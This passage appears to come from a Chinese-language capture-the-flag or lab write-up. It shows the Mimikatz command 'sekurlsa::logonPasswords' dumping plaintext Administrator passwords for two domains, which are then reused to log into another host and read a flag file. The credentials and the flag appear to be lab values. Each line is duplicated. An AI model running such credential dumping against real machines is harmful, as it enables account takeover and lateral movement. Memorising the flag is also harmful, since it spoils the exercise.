抓取密码 `sekurlsa::logonPasswords` 抓取密码 `sekurlsa::logonPasswords`
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421mEAv0z.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421mEAv0z.png)
我们已知本机的域为simple-PC我们尝试使用simple-PC域中的用户Administrator和密码topsec.123登陆192.168.2.10失败。发现还抓取到了另外一个域即TEST域中的用户名Administrator和密码Simplexue123 我们已知本机的域为simple-PC我们尝试使用simple-PC域中的用户Administrator和密码topsec.123登陆192.168.2.10失败。发现还抓取到了另外一个域即TEST域中的用户名Administrator和密码Simplexue123
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04218dQXQU.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04218dQXQU.png)
我们使用该密码登陆192.168.2.10,登陆成功(这里如果要指定使用某个域中的用户名可以使用TEST/Administrator作为用户名登陆这样就指定了TEST域下的Administrator用户)。查看C盘根目录下的flag文本文件的内容为 `flag5{6aa16f9b07f2d00b16b94aa797488b38}` 我们使用该密码登陆192.168.2.10,登陆成功(这里如果要指定使用某个域中的用户名可以使用TEST/Administrator作为用户名登陆这样就指定了TEST域下的Administrator用户)。查看C盘根目录下的flag文本文件的内容为 `flag5{6aa16f9b07f2d00b16b94aa797488b38}`
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421qsk77l.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421qsk77l.png)